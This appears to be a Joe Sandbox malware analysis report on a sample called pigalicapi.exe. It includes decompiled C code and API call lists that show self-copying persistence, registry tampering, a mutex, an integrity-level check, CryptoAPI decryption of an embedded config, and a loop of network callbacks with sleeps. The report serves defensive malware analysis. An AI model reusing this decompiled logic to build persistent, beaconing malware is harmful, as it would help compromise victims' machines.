CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04004850
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 040048EB
CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 0400490B
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0400493C
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 0400496F
CryptDestroyKey.ADVAPI32(00000000), ref: 04004982
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,?), ref: 040049A9
CryptHashData.ADVAPI32(?,?,000002F0,00000000), ref: 040049CC
CryptGetHashParam.ADVAPI32(?,00000004,00000000,00000004,00000000), ref: 04004A07

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04004845
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 0400481F

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Hash$AcquireContextCreateData$DecryptDeriveDestroyErrorLastParam
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 2739279601-947817771
Opcode ID: 42090ebe0b84d1e6b92d05052a41d8df984fe46a239ada941c44efd33afc4f41
Instruction ID: 68028e15a08110d1318f396c41aabee13b9dff780772823a15a50aa733777c46
Opcode Fuzzy Hash: 42090ebe0b84d1e6b92d05052a41d8df984fe46a239ada941c44efd33afc4f41
Instruction Fuzzy Hash: 7E71DF71A54318ABFB65CF50CC45BED77BCAB48B04F408598A605BA1C0DBB9ABC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04003B00 Relevance: 23.1, APIs: 8, Strings: 5, Instructions: 302
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			_entry_() {
				intOrPtr _v8;
				char _v1148;
				signed char _v1149;
				intOrPtr _v1156;
				char _v1556;
				char _v9556;
				long _v9560;
				char _v9564;
				char _v12068;
				signed int _v12072;
				char _v12076;
				long _v12080;
				char _v12081;
				long _v12088;
				long _v12092;
				long _v12096;
				signed int _v12100;
				signed char _v12101;
				long _v12108;
				signed int _v12112;
				void* _v12116;
				signed char _t69;
				intOrPtr _t74;
				signed char _t77;
				signed char _t79;
				signed int _t80;
				signed char _t85;
				signed char _t86;
				signed char _t87;
				intOrPtr _t88;
				char* _t89;
				signed int _t97;
				void* _t98;
				signed int _t100;
				signed char _t102;
				signed char _t104;
				signed char _t106;
				signed char _t110;
				signed int _t116;
				signed int _t118;
				char _t125;
				signed int _t138;
				signed int _t140;
				intOrPtr _t143;
				signed int _t159;
				signed int _t161;
				void* _t163;
				void* _t165;
				void* _t173;
				void* _t177;

				E04001000(0x2f50);
				_v8 = E04003130();
				E04002ED0(_v8);
				GetModuleFileNameA(0, "C:\Users\hardz\pigalicapi.exe", 0x208);
				SetUnhandledExceptionFilter(E04005DB0); // executed
				__imp__CoInitialize(0); // executed
				_t69 = E04004510(_v8, 0x4013c88); // executed
				_t165 = _t163 + 0xc;
				if((_t69 & 0x000000ff) == 0) {
					L39:
					ExitProcess(0);
				}
				E04007D20( &_v1148,  &_v1148, 0, 0x46b);
				E04005700( &_v1148); // executed
				_t143 =  *0x40118a0; // 0x4013b88
				_t74 = E04005A00( &_v1148, _t143, 0xff); // executed
				_v1156 = _t74;
				E04007D20(_t74, "Vatwyovatk", 0, 0x12c);
				E04009400( &_v1148, "Vatwyovatk", 0xa); // executed
				_t77 = E040099F0(); // executed
				 *0x401435a = _t77;
				 *0x401435d = E04006060(); // executed
				_t79 = E04005E00(); // executed
				 *0x401435e = _t79;
				_t80 = StrStrIA("C:\Users\hardz\pigalicapi.exe", "svchost.exe");
				asm("sbb eax, eax");
				 *0x4014362 =  ~( ~_t80);
				E04001120("C:\Users\hardz\pigalicapi.exe", "pigalicapi",  *0x401435a & 0x000000ff,  *0x4014362 & 0x000000ff, 0x401436c); // executed
				_t85 = E04005E30(0); // executed
				 *0x401435b = _t85;
				 *0x401435f = 1; // executed
				_t86 = E04006CF0(); // executed
				_v1149 = _t86;
				_t87 = E04005F30(); // executed
				 *0x401435c = _t87 & 0x000000ff | _v1149 & 0x000000ff;
				_t88 = E04009B90(0xffffffff);
				_t173 = _t165 + 0x50;
				 *0x4014364 = _t88;
				_t89 =  &_v1556;
				_push(_t89);
				_push(0x202); // executed
				L0400B1E6(); // executed
				if(_t89 != 0) {
					goto L39;
				} else {
					_t125 =  *0x40119a8; // 0x1d
					_v12081 = _t125;
					 *0x4014378 = 0x10;
					if(( *0x401435f & 0x000000ff) != 0) {
						_t118 =  *0x4014378; // 0x1b
						 *0x4014378 = _t118 | 0x00000008;
					}
					if(( *0x401435c & 0x000000ff) != 0) {
						_t161 =  *0x4014378; // 0x1b
						 *0x4014378 = _t161 | 0x00000001;
					}
					if(( *0x401435b & 0x000000ff) != 0) {
						_t140 =  *0x4014378; // 0x1b
						 *0x4014378 = _t140 | 0x00000004;
					}
					if(( *0x401435e & 0x000000ff) != 0) {
						_t116 =  *0x4014378; // 0x1b
						 *0x4014378 = _t116 | 0x00000002;
					}
					if(( *0x4014360 & 0x000000ff) != 0) {
						_t159 =  *0x4014378; // 0x1b
						 *0x4014378 = _t159 | 0x00000020;
					}
					_t91 =  *0x4014361 & 0x000000ff;
					if(( *0x4014361 & 0x000000ff) != 0) {
						_t138 =  *0x4014378; // 0x1b
						 *0x4014378 = _t138 | 0x00000040;
					}
					_v9564 = 0x9c3;
					E04007D20(_t91,  &_v12068, 0, 0x9c4);
					E0400A700();
					E0400A4B0( &_v12068,  &_v9564, 0x4013cb6,  *0x4013cb4 & 0x0000ffff);
					_v9560 = 0;
					_t97 = E04005B50( &_v12068, ";",  &_v9560, 0); // executed
					_v12072 = _t97;
					_v12092 = 0;
					_v12080 = 0;
					_v12076 = 0x4b0;
					_t98 = E04008A70(0x4012c34,  &_v12076, 0x4012ba8, 0x8c, 0x400e008, 0x254); // executed
					_t177 = _t173 + 0x44;
					if(_t98 != 0) {
						E04007D20( &_v9556,  &_v9556, 0, 0x1f40);
						E040078D0(0x4012c34, 0xc8,  &_v9556, 0xc8);
						_t177 = _t177 + 0x1c;
						_v12092 =  &_v9556;
						_v12080 = 0xc8;
					}
					_v12088 = 0;
					L17:
					_v12101 = 0;
					_v12108 = 0x1d4c0;
					_v12096 = 0;
					_t100 = E04007970( &_v12096); // executed
					_v12100 = _t100;
					_t102 = E04004020(_v12096, _v12100,  &_v1148, 1, 2, 0);
					_t177 = _t177 + 0x1c;
					if((_t102 & 0x000000ff) != 0) {
						_v12101 = 1;
					} else {
						_t104 = E04004020(_v12092, _v12080,  &_v1148, 1, 5, 0);
						_t177 = _t177 + 0x18;
						if((_t104 & 0x000000ff) != 0) {
							_v12101 = 1;
						} else {
							_t106 = E04004020(_v9560, _v12072,  &_v1148, 3, 0xa, 1); // executed
							_t177 = _t177 + 0x18;
							if((_t106 & 0x000000ff) != 0) {
								_v12101 = 1;
							} else {
								_v12116 = 0;
								_v12112 = E040042E0( &_v12116);
								_t110 = E04004020(_v12116, _v12112,  &_v1148, 1, 0x17, 0);
								_t177 = _t177 + 0x1c;
								if((_t110 & 0x000000ff) != 0) {
									_v12101 = 1;
								}
								if(_v12116 != 0) {
									VirtualFree(_v12116, 0, 0x8000);
								}
							}
						}
					}
					if((_v12101 & 0x000000ff) != 0) {
						if( *0x40118a4 != 1) {
							if( *0x40118a4 == 2) {
								 *0x40118a4 = 1;
								_v12108 = 0x1499700;
							}
						} else {
							if( *0x40130e4 != 2) {
								_v12108 = 0x1499700;
							} else {
								_v12108 = 0x3e8;
								 *0x40118a4 = 2;
							}
						}
					}
					Sleep(_v12108); // executed
					goto L17;
				}
			}

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\pigalicapi.exe,00000208), ref: 04003B2D
SetUnhandledExceptionFilter.KERNEL32(04005DB0), ref: 04003B38
CoInitialize.OLE32(00000000), ref: 04003B40

Part of subcall function 04004510: GetModuleFileNameA.KERNEL32(00000000,?,00000208), ref: 0400456C
Part of subcall function 04004510: CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0400458B
Part of subcall function 04004510: GetFileSize.KERNEL32(000000FF,00000000), ref: 040045AD
Part of subcall function 04004510: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040045D6
Part of subcall function 04004510: ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04004617
Part of subcall function 04004510: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0400463E
Part of subcall function 04004510: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040047C0
Part of subcall function 04004510: CloseHandle.KERNEL32(00000000), ref: 040047E0

ExitProcess.KERNEL32 ref: 0400400C

Part of subcall function 04005700: GetModuleFileNameA.KERNEL32(00000000,-00000100,00000104), ref: 04005742
Part of subcall function 04005700: lstrcpyA.KERNEL32(-0000043B,pigalicapi), ref: 040057B8
Part of subcall function 04005700: GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 040057F1
Part of subcall function 04005700: wnsprintfA.SHLWAPI ref: 0400582F
Part of subcall function 04005700: CreateFileA.KERNEL32(-00000100,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005854
Part of subcall function 04005700: GetFileSize.KERNEL32(000000FF,00000000), ref: 0400586D

Part of subcall function 04005A00: lstrcpyA.KERNEL32(Mvqcsgcuwwini,WDefault), ref: 04005A47
Part of subcall function 04005A00: lstrlenA.KERNEL32(0400C4E0), ref: 04005A7D
Part of subcall function 04005A00: lstrcpyA.KERNEL32(00000000,0400C4E0), ref: 04005A97
Part of subcall function 04005A00: lstrlenA.KERNEL32(00000000), ref: 04005AA1
Part of subcall function 04005A00: lstrlenA.KERNEL32(Mvqcsgcuwwini), ref: 04005AAE
Part of subcall function 04005A00: lstrcatA.KERNEL32(00000000,Mvqcsgcuwwini), ref: 04005AC8
Part of subcall function 04005A00: RegCreateKeyExA.KERNEL32(80000001,00000000,00000000,00000000,00000000,00020006,00000000,00000000,00000000), ref: 04005B00
Part of subcall function 04005A00: RegCloseKey.KERNEL32(00000000), ref: 04005B0E
Part of subcall function 04005A00: lstrlenA.KERNEL32(00000000), ref: 04005B3B

Part of subcall function 04009400: lstrcpyA.KERNEL32(?,00000000), ref: 04009513
Part of subcall function 04009400: CharUpperA.USER32(?), ref: 04009521

Part of subcall function 040099F0: GetCurrentProcess.KERNEL32(00000008,?), ref: 04009A0A
Part of subcall function 040099F0: OpenProcessToken.ADVAPI32(00000000), ref: 04009A11
Part of subcall function 040099F0: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 04009A3A
Part of subcall function 040099F0: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000400,00000400), ref: 04009A77
Part of subcall function 040099F0: CreateWellKnownSid.ADVAPI32(0000000C,00000000,?,00000044), ref: 04009AAD
Part of subcall function 040099F0: EqualSid.ADVAPI32(?,00000000), ref: 04009AC3

Part of subcall function 04006060: GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 04006082

Part of subcall function 04005E00: CreateMutexA.KERNEL32(00000000,00000000,pigalicapi,?,04003BEB), ref: 04005E0C
Part of subcall function 04005E00: GetLastError.KERNEL32(?,04003BEB), ref: 04005E12

StrStrIA.SHLWAPI(C:\Users\user\pigalicapi.exe,svchost.exe), ref: 04003BFA

Part of subcall function 04001120: lstrlenA.KERNEL32(00000000), ref: 04001148
Part of subcall function 04001120: lstrlenA.KERNEL32(00000000), ref: 0400115A
Part of subcall function 04001120: GetAllUsersProfileDirectoryA.USERENV(?,00000104), ref: 04001182
Part of subcall function 04001120: wnsprintfA.SHLWAPI ref: 040011BD
Part of subcall function 04001120: lstrcmpiA.KERNEL32(00000104,?), ref: 040011D1
Part of subcall function 04001120: CopyFileA.KERNEL32(00000104,?,00000000), ref: 040011F0
Part of subcall function 04001120: SetFileAttributesA.KERNEL32(?,00000006), ref: 040011FF
Part of subcall function 04001120: lstrcpyA.KERNEL32(00000104,?), ref: 04001210
Part of subcall function 04001120: lstrcpyA.KERNEL32(00000000,?), ref: 04001249
Part of subcall function 04001120: lstrcpyA.KERNEL32(-00000208,00000000), ref: 0400125D
Part of subcall function 04001120: CreateThread.KERNEL32 ref: 04001274

Part of subcall function 04005E30: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,000F003F,00000000), ref: 04005E7E
Part of subcall function 04005E30: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005EB2
Part of subcall function 04005E30: RegDeleteValueA.ADVAPI32(00000000,?), ref: 04005ED6
Part of subcall function 04005E30: RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 04005F0B
Part of subcall function 04005E30: RegCloseKey.KERNEL32(00000000), ref: 04005F19

Part of subcall function 04006CF0: RegOpenKeyExA.KERNEL32(80000001,04013B88,00000000,000F003F,00000000), ref: 04006D30
Part of subcall function 04006CF0: RegQueryValueExA.KERNEL32(00000000,04013FA6,00000000,00000003,?,00000020), ref: 04006D61
Part of subcall function 04006CF0: RegDeleteValueA.ADVAPI32(00000000,04013FA6), ref: 04006D7E
Part of subcall function 04006CF0: RegCloseKey.ADVAPI32(00000000), ref: 04006D88

Part of subcall function 04005F30: lstrcpyA.KERNEL32(?,pigalicapi), ref: 04005F67
Part of subcall function 04005F30: lstrcatA.KERNEL32(?,04013FE2), ref: 04005F7A
Part of subcall function 04005F30: RegOpenKeyExA.KERNEL32(80000001,04003C58,00000000,000F003F,00000000), ref: 04005FB3
Part of subcall function 04005F30: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005FF2
Part of subcall function 04005F30: RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 0400603B
Part of subcall function 04005F30: RegCloseKey.ADVAPI32(00000000), ref: 04006045

WSAStartup.WS2_32(00000202,?), ref: 04003C85

Part of subcall function 04004020: InitializeCriticalSection.KERNEL32(?), ref: 04004066
Part of subcall function 04004020: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0400407A
Part of subcall function 04004020: EnterCriticalSection.KERNEL32(?,?), ref: 040040AF
Part of subcall function 04004020: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040040C6
Part of subcall function 04004020: TerminateThread.KERNEL32(00000000,00000000), ref: 040040E6
Part of subcall function 04004020: ResetEvent.KERNEL32(00000000), ref: 040040F7
Part of subcall function 04004020: LeaveCriticalSection.KERNEL32(?), ref: 04004101
Part of subcall function 04004020: CreateThread.KERNEL32 ref: 04004118

VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04003F70
Sleep.KERNEL32(?), ref: 04003FF4

Strings

Vatwyovatk, xrefs: 04003BAF, 04003BBE
C:\Users\user\pigalicapi.exe, xrefs: 04003B26, 04003BF5, 04003C25
R+g, xrefs: 04003D7F
pigalicapi, xrefs: 04003C20
svchost.exe, xrefs: 04003BF0

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: File$Createlstrcpy$Value$Closelstrlen$ModuleNameOpenVirtual$CriticalFreeProcessQuerySectionThreadToken$DeleteDirectoryEventInformationInitializeProfileSizeUserslstrcatwnsprintf$AllocAttributesChangeCharCopyCurrentEnterEqualErrorExceptionExitFilterFindHandleKnownLastLeaveMutexNotificationReadResetSleepStartupTerminateUnhandledUpperWelllstrcmpi
String ID: C:\Users\user\pigalicapi.exe$R+g$Vatwyovatk$pigalicapi$svchost.exe
API String ID: 1389186475-2481894136
Opcode ID: 936e491051d98ae6235cf02158d581c5c2971d700090c455091cf7b57a494376
Instruction ID: 63648f9aec36bb26e753af5ac432a688f143a616cbd4529da37374c18a699aed
Opcode Fuzzy Hash: 936e491051d98ae6235cf02158d581c5c2971d700090c455091cf7b57a494376
Instruction Fuzzy Hash: 7EC11AB0944364AAF725DF64AC19BFA77B0AB04709F0480FDE6487A1E1DB7C6A84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04008800 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 113
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E04008800(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, BYTE* _a20, int _a24) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				signed int _v24;
				signed int _v28;
				long* _v32;
				char* _t41;
				int _t42;
				signed int _t43;
				intOrPtr _t46;
				int _t49;
				int _t51;
				char* _t71;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L19:
					return _v8;
				} else {
					_v12 = 0;
					_t41 =  *0x4013370; // 0x400c6e4
					_t42 = CryptAcquireContextA( &_v12, _t41, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t42 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t71 =  *0x4013370; // 0x400c6e4
							CryptAcquireContextA( &_v12, _t71, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v28 = 0x80;
						_v20 = 0;
						_v24 = _v28 << 0x00000010 | 0x00000001;
						_t43 = _v24;
						__imp__CryptGenKey(_v12, 0x6801, _t43,  &_v20);
						if(_t43 != 0) {
							_t46 = _a4;
							__imp__CryptExportKey(_v20, 0, 8, 0, _t46, _a8);
							if(_t46 != 0) {
								if(_a12 == 0 || _a16 == 0 || _a20 == 0 || _a24 == 0) {
									_v8 = 1;
								} else {
									_v32 = 0;
									_t49 = CryptImportKey(_v12, _a20, _a24, 0, 1,  &_v32); // executed
									if(_t49 != 0) {
										_t51 = _v20;
										__imp__CryptExportKey(_t51, _v32, 1, 0, _a12, _a16); // executed
										_v8 = _t51;
										CryptDestroyKey(_v32); // executed
									}
								}
							}
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L19;
				}
			}

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000,04008420,00000000,00001000,00000000), ref: 0400883B
GetLastError.KERNEL32 ref: 04008845
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008874
CryptGenKey.ADVAPI32(00000000,00006801,?,00000000), ref: 040088AF
CryptExportKey.ADVAPI32(00000000,00000000,00000008,00000000,00000000,00000000), ref: 040088CF
CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,?), ref: 0400890C
CryptExportKey.ADVAPI32(00000000,?,00000001,00000000,00000000,00000000), ref: 0400892A
CryptDestroyKey.ADVAPI32(?), ref: 04008937
CryptDestroyKey.ADVAPI32(00000000), ref: 0400894A
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008956

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 0400882C
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008864

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Context$AcquireDestroyExport$ErrorImportLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3052018297-947817771
Opcode ID: a3ecfbe549d6a2009873a4562b9912e0752bd3a41684449d96c4f6673af668fd
Instruction ID: e62ef6a9a3e861f5d7bfaf583d60d4f1649157d47df97182d85979e93aebb629
Opcode Fuzzy Hash: a3ecfbe549d6a2009873a4562b9912e0752bd3a41684449d96c4f6673af668fd
Instruction Fuzzy Hash: E641E972A00209EBFB54EF94C849BAE77B9FB44705F14C518F615B61C0C7B9AA84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04008BB0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 101
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E04008BB0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, int _a16) {
				int _v8;
				long* _v12;
				int _v16;
				char _v20;
				int _v24;
				char _v28;
				int _v32;
				char* _t36;
				int _t37;
				intOrPtr _t39;
				char* _t41;
				intOrPtr _t43;
				char* _t57;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L17:
					return _v8;
				} else {
					_v12 = 0;
					_t36 =  *0x4013370; // 0x400c6e4
					_t37 = CryptAcquireContextA( &_v12, _t36, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t37 == 0) {
						_t37 = GetLastError();
						_v16 = _t37;
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t57 =  *0x4013370; // 0x400c6e4
							_t37 = CryptAcquireContextA( &_v12, _t57, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v20);
						if(_t37 != 0) {
							_t39 = _a8;
							__imp__CryptHashData(_v20, _a4, _t39, 0);
							if(_t39 != 0) {
								_v24 = 0;
								_v28 = 4;
								_t41 =  &_v28;
								__imp__CryptGetHashParam(_v20, 4,  &_v24, _t41, 0);
								if(_t41 != 0 && _a16 >= _v24) {
									_v32 = _a16;
									_t43 = _a12;
									__imp__CryptGetHashParam(_v20, 2, _t43,  &_v32, 0);
									if(_t43 != 0) {
										_v8 = _v32;
									}
								}
							}
							__imp__CryptDestroyHash(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L17;
				}
			}

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008BFF
GetLastError.KERNEL32 ref: 04008C09
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008C38
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008C59
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008C71
CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 04008C99
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 04008CC1
CryptDestroyHash.ADVAPI32(00000000), ref: 04008CD5
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008CE1

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008C28
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008BF0

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CreateDataDestroyErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 731959895-947817771
Opcode ID: c04671c4f16af3ba3265102b35b0728ece87a0365c7276e8c5171731790e3264
Instruction ID: 7e4f484856ccd150e5ceb993e2d8e8a423e5286abb412a2c571c9cca470c08b6
Opcode Fuzzy Hash: c04671c4f16af3ba3265102b35b0728ece87a0365c7276e8c5171731790e3264
Instruction Fuzzy Hash: 4E41C772A50209ABEB14DF94C849FAFB7B9FB44705F14C529A601B61C0D7B8AA84CB60

Uniqueness

Uniqueness Score: -1.00%

Function 04008A70 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 97
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008A70(BYTE* _a4, DWORD* _a8, BYTE* _a12, int _a16, BYTE* _a20, int _a24) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				long* _v24;
				char* _t35;
				int _t36;
				int _t38;
				int _t43;
				char* _t62;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0 || _a20 == 0 || _a24 == 0) {
					L16:
					return _v8;
				} else {
					_v12 = 0;
					_t35 =  *0x4013370; // 0x400c6e4
					_t36 = CryptAcquireContextA( &_v12, _t35, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t36 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t62 =  *0x4013370; // 0x400c6e4
							CryptAcquireContextA( &_v12, _t62, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v20 = 0;
						_t38 = CryptImportKey(_v12, _a20, _a24, 0, 1,  &_v20); // executed
						if(_t38 != 0) {
							_v24 = 0;
							_t43 = CryptImportKey(_v12, _a12, _a16, _v20, 1,  &_v24); // executed
							if(_t43 != 0) {
								_v8 = CryptDecrypt(_v24, 0, 1, 0, _a4, _a8);
								CryptDestroyKey(_v24);
							}
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0); // executed
					}
					goto L16;
				}
			}

0x04008a76
0x04008a81
0x04008ba3
0x04008ba9
0x04008ab9
0x04008ab9
0x04008ac9
0x04008ad3
0x04008adb
0x04008ae3
0x04008aed
0x04008b01
0x04008b0c
0x04008b0c
0x04008aed
0x04008b16
0x04008b1c
0x04008b37
0x04008b3f
0x04008b41
0x04008b5e
0x04008b66
0x04008b80
0x04008b87
0x04008b87
0x04008b91
0x04008b91
0x04008b9d
0x04008b9d
0x00000000
0x04008b16

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008AD3
GetLastError.KERNEL32 ref: 04008ADD
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008B0C
CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 04008B37
CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008B5E
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008B7A
CryptDestroyKey.ADVAPI32(00000000), ref: 04008B87
CryptDestroyKey.ADVAPI32(00000000), ref: 04008B91
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008B9D

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008AFC
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008AC4

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Context$AcquireDestroyImport$DecryptErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 1555285084-947817771
Opcode ID: a29918078d8c2f64865fcd98cb153a1075290469360e4a9c607703ac9d42e64f
Instruction ID: 912f8c379191964defa89f3bac9fc05279983c51f6e5ced775be03f2308b6df6
Opcode Fuzzy Hash: a29918078d8c2f64865fcd98cb153a1075290469360e4a9c607703ac9d42e64f
Instruction Fuzzy Hash: 5A31CDB5A04209EBFB58DF94D849BEE77B8FB48705F14C518F601B62C0C7B8A984CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02B51030 Relevance: 18.4, APIs: 12, Instructions: 362libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(02B54054,02B54040), ref: 02B51047
